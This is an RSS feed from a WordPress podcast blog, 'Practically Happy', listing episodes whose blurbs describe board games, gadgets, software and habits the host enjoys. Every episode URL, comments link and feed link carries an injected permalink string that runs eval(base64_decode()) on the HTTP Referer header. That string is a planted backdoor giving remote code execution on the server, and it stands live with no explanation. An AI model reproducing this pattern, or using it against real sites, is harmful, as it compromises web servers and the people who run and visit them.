Practically Happy http://www.practicallyhappy.com/blogs/practicallyhappy You are responsible for your own happiness. Wed, 09 May 2007 00:33:47 +0000 http://wordpress.org/?v=2.5.1 en Show 062: Finis http://www.practicallyhappy.com/blogs/practicallyhappy/2007/05/08/show-062-finis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2007/05/08/show-062-finis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 May 2007 00:33:23 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=80 All things come to an end.

Podcast #62 talks about how writing, recording, editing and producing the Practically Happy podcast has made me, Jim Matt, Practically Happy.

Length: 04:03

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2007/05/08/show-062-finis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 061: Fire & Axe — A Viking Saga (game) http://www.practicallyhappy.com/blogs/practicallyhappy/2007/04/17/fire-axe-a-viking-saga-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2007/04/17/fire-axe-a-viking-saga-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 18 Apr 2007 00:30:22 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=79 Trade, raid, then settle. That’s the order that works best when I act as a Viking while playing a boardgame.

Podcast #61 talks about how the game Fire & Axe: A Viking Saga makes me Practically Happy.

Length: 04:38

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Podcast #60 talks about how my 22″ LCD monitor makes me Practically Happy.

Length: 04:40

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2007/03/27/show-060-lcd-monitor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 059: Travian http://www.practicallyhappy.com/blogs/practicallyhappy/2007/03/06/show-059-travian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2007/03/06/show-059-travian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 07 Mar 2007 00:39:42 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=77 I’ve found that I like games where I build things. In September 2006 I discovered an on-line game called Travian that makes me the king of my own kingdom and lets me build it from scratch.

Podcast #59 talks about how the on-line game Travian makes me Practically Happy.

Length: 04:19

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2007/03/06/show-059-travian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 058: Heroes, Medium, Naruto http://www.practicallyhappy.com/blogs/practicallyhappy/2007/02/13/show-058-heroes-medium-naruto/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2007/02/13/show-058-heroes-medium-naruto/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 14 Feb 2007 01:36:19 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=76 Watching television is not my preferred method of entertainment. For the first time in memory, I’m actually tuning into 3 different programs each week.

Podcast #58 talks about why the shows Heroes, Medium and Naruto make me Practically Happy.

Length: 06:26

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Podcast #57 talks about how playing foosball with Casey makes me Practically Happy.

Length: 03:03

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2007/01/23/show-057-foosball/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 056: BookMooch.com http://www.practicallyhappy.com/blogs/practicallyhappy/2007/01/02/show-056-bookmoochcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2007/01/02/show-056-bookmoochcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 03 Jan 2007 02:26:44 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=73 Reading and recycling are two things that are core to my character. BookMooch.com helps me do both at the same time.

Podcast #56 talks about how I can recycle my old books and get new ones using BookMooch.com, and how that makes me Practically Happy.

Length: 04:22

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2007/01/02/show-056-bookmoochcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 055: Alligator Lopper http://www.practicallyhappy.com/blogs/practicallyhappy/2006/12/12/show-055-alligator-lopper/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/12/12/show-055-alligator-lopper/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 13 Dec 2006 01:20:55 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=72 Outdoor chores are still chores, and chores take time. Cutting up branches doesn’t happen too often, but once it does, it takes plenty of time to do with a handsaw.

Podcast #55 talks about the Black & Decker Alligator Lopper and how it makes me Practically Happy.

Length: 03:17

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Listen to Podcast #54 to find out why lunch makes me Practically Happy.

Length: 03:12

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/11/21/show-054-lunch/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 053: Anniversary and Opportunity http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/31/show-053-anniversary-and-opportunity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/31/show-053-anniversary-and-opportunity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Nov 2006 02:17:51 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=70 Practically Happy is celebrating it’s first anniversary.

Podcast #53 talks about some of the behind-the-scenes show details, and how performing and producing the Practically Happy show has made me Practically Happy.

(It also talks about how listeners can become contributors. Click on the About tab for more details).

Length: 07:55

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Podcast #52 talks about the Note Studio and how it makes me Practically Happy.

Length: 03:16

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/24/show-052-note-studio/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 051: Beer Camp http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/17/show-051-beer-camp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/17/show-051-beer-camp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 18 Oct 2006 00:01:20 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=66 Beer Camp is going up north and getting away from the ordinary life one weekend a year.

Podcast #51 talks about the camaraderie and fun that I have at Beer Camp, and how that makes me Practically Happy.

Length: 03:18

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/17/show-051-beer-camp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 050: Political Cartoons http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/10/show-050-political-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/10/show-050-political-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 10 Oct 2006 23:44:14 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=64 I like HIP things (hypocrisy, irony and parody). The form that gets HIP messages across quickly the best are cartoons, specifically, political cartoons.

Podcast #50 talks about political cartoons and how they make me Practically Happy.

Length: 03:27

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/10/show-050-political-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 049: Power Grid (game) http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/03/show-049-power-grid-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/03/show-049-power-grid-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 04 Oct 2006 00:47:02 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=63 Second chances are a precious thing when they turn out differently from your first experience. After a major disappointment with the original game Funkenschlag, I gave the tweaked version called Power Grid a second chance, and I’m glad I did.

Podcast #49 talks about the game Power Grid and how it makes me Practically Happy.

Length: 07:21

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/10/03/show-049-power-grid-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 048: SpaceMonger http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/26/show-048-spacemonger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/26/show-048-spacemonger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 26 Sep 2006 22:11:09 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=60 Computer housekeeping is not my strong suit. Recovering hard disk real estate by cleaning up old and unnecessary files is made easier by utilities like SpaceMonger.

Podcast #48 talks about SpaceMonger and how it makes me Practically Happy.

Length: 03:48

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Podcast #47 talks about digital cameras how they make me Practically Happy.

Length: 06:00

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/19/show-047-digital-cameras/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 046: Spurl.net http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/12/show-046-spurlnet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/12/show-046-spurlnet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 12 Sep 2006 23:21:15 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=58 Keeping track of your internet browser bookmarks can be a problem if you use multiple computers.

Podcast #46 talks about the Spurl.net, a social bookmarking website, and how it makes me Practically Happy.

Length: 03:13

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/12/show-046-spurlnet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 045: TrueCrypt http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/05/show-045-truecrypt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/05/show-045-truecrypt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 06 Sep 2006 01:28:35 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=56 One more tool in the fight against identity theft is encryption.

Podcast #45 talks about the PC and Linux program TrueCrypt, and how it’s container encryption makes me Practically Happy.

Length: 03:27

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/09/05/show-045-truecrypt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 044: Saint Petersburg (game) http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/29/show-044-saint-petersburg-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/29/show-044-saint-petersburg-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 29 Aug 2006 22:21:56 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=55 Saving pays off.

Podcast #44 talks about the game Saint Petersburg, and how it helps me practice life skills, which makes me Practically Happy.

Length: 04:54

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/29/show-044-saint-petersburg-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 043: Cell Phones http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/22/show-043-cell-phones-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/22/show-043-cell-phones-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 23 Aug 2006 00:35:16 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=54 Ubiquitous. Annoying, in the hands of some. Extremely effective at times.

Podcast #43 talks about how useful cell phones are, especially in an emergency, and how that makes me Practically Happy.

Length: 04:26

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Podcast #42 talks about the Anderson Ultimate Bed and how it makes me Practically Happy.

Length: 03:11

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Podcast #41 talks about blogs and how they make me Practically Happy.

Length: 05:19

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/08/show-041-blogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 040: Slurpee http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/01/show-040-slurpee-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/08/01/show-040-slurpee-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 02 Aug 2006 01:52:12 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=50 Summer is hot. Slurpees are cold. Even though Slurpees are good any day of the year, summer is where they really hit the spot.

Podcast #40 talks about Slurpees and how they make me Practically Happy.

Length: 03:14

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Podcast #39 talks about my current favorite train game, Ticket to Ride, and how it makes me Practically Happy.

Length: 04:32

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Podcast #38 talks about my history with portable computer storage media, and how Flash USB Drives make me Practically Happy.

Length: 05:19

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Podcast #37 talks about the Flowtron Leaf Eater mulcher, and how it makes me Practically Happy.

Length: 05:08

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Podcast #36 talks about free on-line mapping services, and how they make me Practically Happy.

Length: 03:27

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/07/04/show-036-mapquest/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 035: Getting Things Done http://www.practicallyhappy.com/blogs/practicallyhappy/2006/06/27/show-035-getting-things-done/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/06/27/show-035-getting-things-done/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 27 Jun 2006 22:40:07 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=41 Getting Things Done, a book by David Allen, describes how to build the framework for a system that helps you handle the details in your life. The system, and ideas in the book, make me Practically Happy.

Podcast #35 talks about the book Getting Things Done and how it makes me Practically Happy.

Length: 04:08

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Podcast #34 talks about the game San Juan and how it makes me Practically Happy.

Length: 03:10

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Podcast #33 talks about several hardware devices that quiet my computer quickly, and how these devices make me Practically Happy.

Length: 04:28

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Podcast #32 describes how my Palm Pilot makes me Practically Happy.

Length: 04:43

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Podcast #31 describes how utilities make me Practically Happy.

Length: 03:22

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Podcast #30 talks about how NetFlix helps me get the movies I want when I want.

Length: 04:16

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/23/show-030-netflix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 029: Shredders http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/16/show-029-shredders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/16/show-029-shredders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 17 May 2006 02:02:04 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=34 Peace of mind through little pieces.

Podcast #29 describes how paper shredders make me Practically Happy.

Length: 03:27

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/16/show-029-shredders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 028: New England (game) http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/09/show-028-new-england-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/09/show-028-new-england-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 10 May 2006 00:18:33 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=33 New England is a game with a great mechanism –your bid is the price you pay for purchases that turn, as well as the turn order.

Planning and rolling with the punches of random draws make it interesting every time.

Podcast #28 describes New England (the game) which makes me Practically Happy.

Length: 09:14

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/09/show-028-new-england-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 027: Report Card http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/02/show-027-report-card/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/02/show-027-report-card/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 03 May 2006 01:02:27 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=32 26 Practically Happy shows have been posted prior to this one — a half year of podcasts.

It’s time for a report card. Listen to find out the status and what about making this podcast makes me Practically Happy.

Length: 06:42

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/05/02/show-027-report-card/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 026: Ebay and Half.com http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/25/show-026-ebay-and-halfcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/25/show-026-ebay-and-halfcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 25 Apr 2006 22:19:26 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=31 Sometimes you have too much stuff in your life.

In podcast #26 I talk about recycling items, and recouping some of the purchase cost, by using Ebay and Half.com — two on-line services that make me Practically Happy.

Length: 05:09

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/25/show-026-ebay-and-halfcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 025: Keyboard Shortcuts http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/18/show-025-keyboard-shortcuts/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/18/show-025-keyboard-shortcuts/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 19 Apr 2006 03:51:05 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=30 Working efficiently on a computer makes life much easier. With keyboard shortcuts, you can quickly execute commands.

Podcast #25 talks about keyboard shortcuts and the ActiveWords utility, which make me Practically Happy.

Length: 05:45

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Podcast #24 talks about some of the other reasons why walking makes me Practically Happy.

Length: 03:36

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/11/show-024-15-minute-mile/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 023: Puerto Rico (game) http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/04/show-023-puerto-rico-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/04/show-023-puerto-rico-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 04 Apr 2006 23:45:56 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=28 Puerto Rico is a game that has no random luck element — there are no dice or spinners.

It’s all about making choices.

Podcast #23 will describe Puerto Rico (the game) which makes me Practically Happy.

Length: 08:22

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/04/04/show-023-puerto-rico-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 022: One Time Use Credit Cards http://www.practicallyhappy.com/blogs/practicallyhappy/2006/03/28/show-022-one-time-use-credit-cards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/03/28/show-022-one-time-use-credit-cards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 28 Mar 2006 23:52:32 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=27 Identity theft is a serious issue, and one way to reduce your exposure is to use one time use credit cards.

Listen to podcast #22 to see how you’re exposed and see how I shield myself a bit, which which makes me Practically Happy.

Length: 04:59

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Listen to podcast #21 to find out some tips on how I recycle, which makes me Practically Happy.

Length: 05:10

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/03/21/show-020-recycling/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 020: Paint Shop Pro http://www.practicallyhappy.com/blogs/practicallyhappy/2006/03/14/show-020-paint-shop-pro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/03/14/show-020-paint-shop-pro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Mar 2006 02:01:29 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=25 I first used Paint Shop Pro to convert some graphics back in 1996. My favorite use has become editing my digital photographs.

Listen to podcast #20 to find out what else about Paint Shop Pro makes me Practically Happy.

Length: 03:14

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Listen to Practically Happy podcast #19 to find out why.

Length: 03:38

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Listen to Practically Happy podcast #18 to find out why.

Length: 03:28

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Listen to Practically Happy podcast #17 to find out why.

Length: 04:40

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Listen to Practically Happy podcast #16 to find out why.

Length: 04:10

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/02/14/show-016-zone-alarm/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 015: George R.R. Martin http://www.practicallyhappy.com/blogs/practicallyhappy/2006/02/07/show-015-george-rr-martin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/02/07/show-015-george-rr-martin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 08 Feb 2006 00:32:04 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=20 Reading is one of my main hobbies. I mostly read non-fiction; George R.R. Martin is one author that writes fiction which captivates me — especially his saga A Song of Fire and Ice.

Listen to Practically Happy podcast #15 to find out why.

Length: 04:38

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2006/02/07/show-015-george-rr-martin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 014: Automated Postal Center http://www.practicallyhappy.com/blogs/practicallyhappy/2006/01/31/show-014-automated-postal-center/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2006/01/31/show-014-automated-postal-center/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 31 Jan 2006 22:44:33 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=19 I don’t like standing in lines for buying stamps or shipping packages. The United States Post Office has helped me out with this issue — its Automated Postal Center makes me Practically Happy.

Length: 03:32

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Length: 05:14

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Length: 05:17

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Length: 06:58

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Length: 03:55

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Listen to this Practically Happy show to find out why.

Length: 08:39

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These sites make me Practically Happy. Listen for details why.

Length: 05:12

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Listen to this Practically Happy show and find out why.

Length: 04:16

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My favorite genre is called German games or Eurogames. Find out what this is by listening to Practically Happy show.

Length: 05:11

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I use Bloglines as my RSS aggregator — it makes me Practically Happy. Listen and find out why.

Length: 07:44

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ACID Music is a paint program for music, and it’s made me happy for over six years now.

Length: 06:18

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Listen to find out how I made two people Practically Happy.

Length: 04:46

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]]> http://www.practicallyhappy.com/blogs/practicallyhappy/2005/11/15/show-003-tv-headphones/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Show 002: Do You Yahoo? I Do. http://www.practicallyhappy.com/blogs/practicallyhappy/2005/11/08/show-002-do-you-yahoo-i-do/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.practicallyhappy.com/blogs/practicallyhappy/2005/11/08/show-002-do-you-yahoo-i-do/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Nov 2005 01:09:04 +0000 PracticallyHappy http://www.practicallyhappy.com/blogs/practicallyhappy/?p=6 Yahoo has many great on-line services. Yahoo Mail, my favorite service, makes me happy.

Listen and find out why.

Length: 06:06

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Length: 06:47

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